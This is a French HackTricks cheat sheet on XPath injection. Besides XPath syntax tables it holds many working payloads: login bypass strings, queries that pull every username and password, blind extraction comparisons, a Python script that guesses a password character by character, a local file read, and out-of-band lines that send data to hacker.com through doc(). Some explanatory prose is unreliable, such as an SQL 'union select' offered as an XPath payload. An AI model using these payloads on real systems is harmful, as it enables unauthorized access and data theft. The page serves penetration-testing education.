29 KiB
Injection XPATH
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes !
Perspectives de piratage
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
Actualités de piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Syntaxe de base
L'injection XPATH est une technique d'attaque utilisée pour exploiter les applications qui construisent des requêtes XPath (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.
Informations sur la façon de faire des requêtes : https://www.w3schools.com/xml/xpath_syntax.asp
Noeuds
| Expression | Description |
|---|---|
| nodename | Sélectionne tous les noeuds avec le nom "nodename" |
| / | Sélectionne à partir du noeud racine |
| // | Sélectionne les noeuds dans le document à partir du noeud actuel qui correspondent à la sélection, peu importe où ils se trouvent |
| . | Sélectionne le noeud actuel |
| .. | Sélectionne le parent du noeud actuel |
| @ | Sélectionne les attributs |
Exemples :
| Expression de chemin | Résultat |
|---|---|
| bookstore | Sélectionne tous les noeuds avec le nom "bookstore" |
| /bookstore | Sélectionne l'élément racine bookstoreNote: Si le chemin commence par un slash ( / ), il représente toujours un chemin absolu vers un élément ! |
| bookstore/book | Sélectionne tous les éléments book qui sont des enfants de bookstore |
| //book | Sélectionne tous les éléments book peu importe où ils se trouvent dans le document |
| bookstore//book | Sélectionne tous les éléments book qui sont des descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore |
| //@lang | Sélectionne tous les attributs qui s'appellent lang |
Prédicats
| Expression de chemin | Résultat |
|---|---|
| /bookstore/book[1] | Sélectionne le premier élément book qui est un enfant de l'élément bookstore.Note: Dans IE 5,6,7,8,9, le premier noeud est [0], mais selon le W3C, c'est [1]. Pour résoudre ce problème dans IE, définissez SelectionLanguage sur XPath : En JavaScript : xml.setProperty("SelectionLanguage","XPath"); |
| /bookstore/book[last()] | Sélectionne le dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book[last()-1] | Sélectionne l'avant-dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book[position()<3] | Sélectionne les deux premiers éléments book qui sont des enfants de l'élément bookstore |
| //title[@lang] | Sélectionne tous les éléments title qui ont un attribut appelé lang |
| //title[@lang='en'] | Sélectionne tous les éléments title qui ont un attribut "lang" avec une valeur de "en" |
| /bookstore/book[price>35.00] | Sélectionne tous les éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
| /bookstore/book[price>35.00]/title | Sélectionne tous les éléments title des éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
Noeuds inconnus
| Jocker | Description |
|---|---|
| * | Correspond à n'importe quel noeud élément |
| @* | Correspond à n'importe quel noeud attribut |
| node() | Correspond à n'importe quel noeud de n'importe quel type |
Exemples:
| Expression de chemin | Résultat |
|---|---|
| /librairie/* | Sélectionne tous les nœuds enfants de l'élément librairie |
| //* | Sélectionne tous les éléments du document |
| //titre[@*] | Sélectionne tous les éléments titre qui ont au moins un attribut quelconque |
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Perspectives de piratage
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
Actualités de piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Exemple
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Accéder aux informations
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the query and gain unauthorized access to sensitive information.
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML data.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional data that was not intended to be exposed.
For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:
//users/user[name='John']
By injecting a malicious expression like ' or 1=1 or ''=', the attacker can modify the query to retrieve all user information:
//users/user[name='John' or 1=1 or ''='']
This modified query will return all user information, regardless of the name specified in the search form.
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it harder for attackers to manipulate the query.
By understanding and exploiting XPath Injection vulnerabilities, attackers can gain unauthorized access to sensitive information stored in XML databases. It is crucial for developers and security professionals to be aware of this technique and take appropriate measures to protect against it.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identifier et voler le schéma
XPath injection can be used to identify and steal the schema of a web application's database. By injecting malicious XPath queries, an attacker can extract sensitive information about the database structure, such as table names, column names, and data types.
To perform this attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login forms, or any other input field that is used to construct an XPath query.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath queries to extract the schema information. For example, the following XPath query can be used to retrieve the names of all tables in the database:
' or 1=1 or 'a'='a' union select table_name from information_schema.tables--
In this query, the information_schema.tables table is used to retrieve the names of all tables. The injected query is appended to the original XPath query, effectively bypassing any input validation or sanitization.
By analyzing the response from the web application, the attacker can extract the table names and further explore the database schema. This information can be used to plan further attacks, such as SQL injection or data exfiltration.
It is important for developers to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for malicious characters and using parameterized queries or prepared statements to prevent injection attacks.
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Contournement de l'authentification
Exemple de requêtes :
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Contournement de l'opérateur OR dans l'utilisateur et le mot de passe (même valeur dans les deux)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abus de l'injection null
Null injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate through XML structures and extract specific information.
In a null injection attack, the attacker manipulates the XPath query by injecting a null character (\x00) to bypass input validation and retrieve unintended data. This can lead to unauthorized access to sensitive information or even the execution of arbitrary code.
To perform a null injection attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. The attacker then injects the null character at a strategic point in the input, causing the XPath query to terminate prematurely and ignore the remaining part of the query.
For example, consider the following vulnerable XPath query:
//users/user[name/text()='admin' and password/text()='password']
To exploit this vulnerability, the attacker can inject a null character after the name parameter, like this:
//users/user[name/text()='admin\x00' and password/text()='password']
This causes the XPath query to only consider the name parameter and ignore the password parameter, effectively bypassing the authentication check.
Null injection attacks can be mitigated by implementing proper input validation and sanitization techniques. It is important for developers to validate and sanitize user input before using it in XPath queries to prevent these types of vulnerabilities.
Username: ' or 1]%00
Double OU dans le nom d'utilisateur ou dans le mot de passe (est valide avec seulement 1 champ vulnérable)
IMPORTANT: Remarquez que "et" est la première opération effectuée.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Extraction de chaînes de caractères
La sortie contient des chaînes de caractères et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Exploitation en aveugle
Obtenir la longueur d'une valeur et l'extraire par des comparaisons :
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Exemple Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Lire un fichier
L'injection XPath est une technique d'attaque utilisée pour extraire des données à partir d'une application Web vulnérable en exploitant les vulnérabilités de l'interrogation XPath. L'interrogation XPath est un langage de requête utilisé pour extraire des informations à partir de documents XML.
Lorsqu'une application Web utilise des entrées utilisateur non filtrées pour construire des requêtes XPath, il est possible d'injecter du code XPath malveillant pour manipuler la requête et extraire des données sensibles. Cela peut se produire lorsque l'application construit dynamiquement une requête XPath en concaténant des chaînes de caractères avec des entrées utilisateur.
Pour exploiter une injection XPath, il est nécessaire de comprendre la structure de la requête XPath utilisée par l'application cible. Cela peut être découvert en analysant le code source de l'application ou en utilisant des outils d'exploration automatisés.
Une fois que la structure de la requête XPath est connue, il est possible d'injecter du code XPath malveillant pour extraire des données spécifiques. Par exemple, en utilisant des opérateurs logiques tels que or et and, il est possible de contourner les conditions de filtrage et d'extraire toutes les données de la base de données.
Voici un exemple de requête XPath vulnérable :
//user[@username='" + username + "']
Dans cet exemple, la valeur de l'entrée utilisateur username est concaténée avec la requête XPath. Si l'entrée utilisateur n'est pas correctement filtrée, il est possible d'injecter du code XPath malveillant pour extraire des données non autorisées.
Pour se protéger contre les injections XPath, il est important de filtrer et de valider correctement toutes les entrées utilisateur utilisées dans les requêtes XPath. Il est recommandé d'utiliser des fonctions de filtrage spécifiques pour les requêtes XPath, telles que contains, starts-with et ends-with, pour limiter les possibilités d'injection de code malveillant.
En résumé, l'injection XPath est une technique d'attaque utilisée pour extraire des données à partir d'une application Web vulnérable en exploitant les vulnérabilités de l'interrogation XPath. Pour se protéger contre cette attaque, il est essentiel de filtrer et de valider correctement toutes les entrées utilisateur utilisées dans les requêtes XPath.
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Exploitation OOB
Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable web application. XPath injection occurs when an attacker is able to manipulate an XPath query used by the application to retrieve data from an XML document.
During an OOB exploitation, the attacker crafts a malicious XPath query that includes a request to an external server controlled by the attacker. This request is designed to trigger a response from the server, which can then be used to extract sensitive information from the target application.
The OOB exploitation technique can be divided into two main categories: blind and error-based.
Blind OOB Exploitation
In blind OOB exploitation, the attacker is unable to directly observe the response from the external server. Instead, the attacker relies on the application's behavior to determine if the injected XPath query was successful.
One common method used in blind OOB exploitation is to leverage the application's DNS resolution capabilities. By injecting an XPath query that includes a request to a domain controlled by the attacker, the attacker can monitor DNS requests made by the application. This allows the attacker to indirectly extract data from the application by encoding the desired information in the DNS requests.
Another approach is to use out-of-band channels such as HTTP requests or email notifications. The attacker can craft an XPath query that triggers a request to a server controlled by the attacker, which then sends an HTTP request or an email containing the extracted data.
Error-Based OOB Exploitation
In error-based OOB exploitation, the attacker is able to directly observe the response from the external server. This is typically achieved by injecting an XPath query that intentionally causes an error in the application.
By carefully crafting the injected query, the attacker can force the application to generate an error message that includes the extracted data. This error message is then sent to the external server controlled by the attacker, allowing them to retrieve the sensitive information.
Error-based OOB exploitation can be more reliable than blind OOB exploitation, as the attacker can directly observe the response and extract the data without relying on indirect methods.
Conclusion
Out-of-Band (OOB) exploitation is a powerful technique used in XPath injection attacks to extract data from vulnerable web applications. By leveraging external servers and observing the application's behavior, an attacker can successfully retrieve sensitive information. Blind and error-based OOB exploitation are two common approaches used in XPath injection attacks, each with its own advantages and limitations.
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Outil automatique
{% embed url="https://xcat.readthedocs.io/" %}
Références
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Perspectives de piratage
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
Actualités de piratage en temps réel
Restez à jour avec le monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.